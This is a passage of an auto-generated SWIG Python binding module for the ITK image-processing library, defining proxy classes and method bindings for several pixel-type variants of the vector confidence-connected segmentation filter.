itkVectorConfidenceConnectedImageFilterICVF32ISS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
itkVectorConfidenceConnectedImageFilterICVF32ISS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
itkVectorConfidenceConnectedImageFilterICVF32ISS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
itkVectorConfidenceConnectedImageFilterICVF32ISS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
itkVectorConfidenceConnectedImageFilterICVF32ISS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
itkVectorConfidenceConnectedImageFilterICVF32ISS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
itkVectorConfidenceConnectedImageFilterICVF32ISS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
itkVectorConfidenceConnectedImageFilterICVF32ISS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
itkVectorConfidenceConnectedImageFilterICVF32ISS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_swigregister
itkVectorConfidenceConnectedImageFilterICVF32ISS2_swigregister(itkVectorConfidenceConnectedImageFilterICVF32ISS2)
def itkVectorConfidenceConnectedImageFilterICVF32ISS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF32ISS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF32ISS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF32ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF32ISS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF32ISS2 *":
"""itkVectorConfidenceConnectedImageFilterICVF32ISS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF32ISS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF32IUC2(itkImageToImageFilterBPython.itkImageToImageFilterICVF32IUC2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF32IUC2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF32IUC2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF32IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF32IUC2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self) -> itkVectorConfidenceConnectedImageFilterICVF32IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self, unsigned char const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF32IUC2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF32IUC2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF32IUC2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF32IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF32IUC2
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF32IUC2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF32IUC2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF32IUC2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF32IUC2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_Clone, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF32IUC2)
itkVectorConfidenceConnectedImageFilterICVF32IUC2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_swigregister
itkVectorConfidenceConnectedImageFilterICVF32IUC2_swigregister(itkVectorConfidenceConnectedImageFilterICVF32IUC2)
def itkVectorConfidenceConnectedImageFilterICVF32IUC2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF32IUC2_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF32IUC2___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF32IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF32IUC2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF32IUC2 *":
"""itkVectorConfidenceConnectedImageFilterICVF32IUC2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF32IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUC2_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF32IUS2(itkImageToImageFilterBPython.itkImageToImageFilterICVF32IUS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF32IUS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF32IUS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF32IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF32IUS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self) -> itkVectorConfidenceConnectedImageFilterICVF32IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF32IUS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF32IUS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF32IUS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF32IUS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF32IUS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF32IUS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF32IUS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF32IUS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF32IUS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_Clone, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF32IUS2)
itkVectorConfidenceConnectedImageFilterICVF32IUS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_swigregister
itkVectorConfidenceConnectedImageFilterICVF32IUS2_swigregister(itkVectorConfidenceConnectedImageFilterICVF32IUS2)
def itkVectorConfidenceConnectedImageFilterICVF32IUS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF32IUS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF32IUS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF32IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF32IUS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF32IUS2 *":
"""itkVectorConfidenceConnectedImageFilterICVF32IUS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF32IUS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32IUS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF33ISS3(itkImageToImageFilterBPython.itkImageToImageFilterICVF33ISS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF33ISS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF33ISS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF33ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF33ISS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF33ISS3 self) -> itkVectorConfidenceConnectedImageFilterICVF33ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF33ISS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
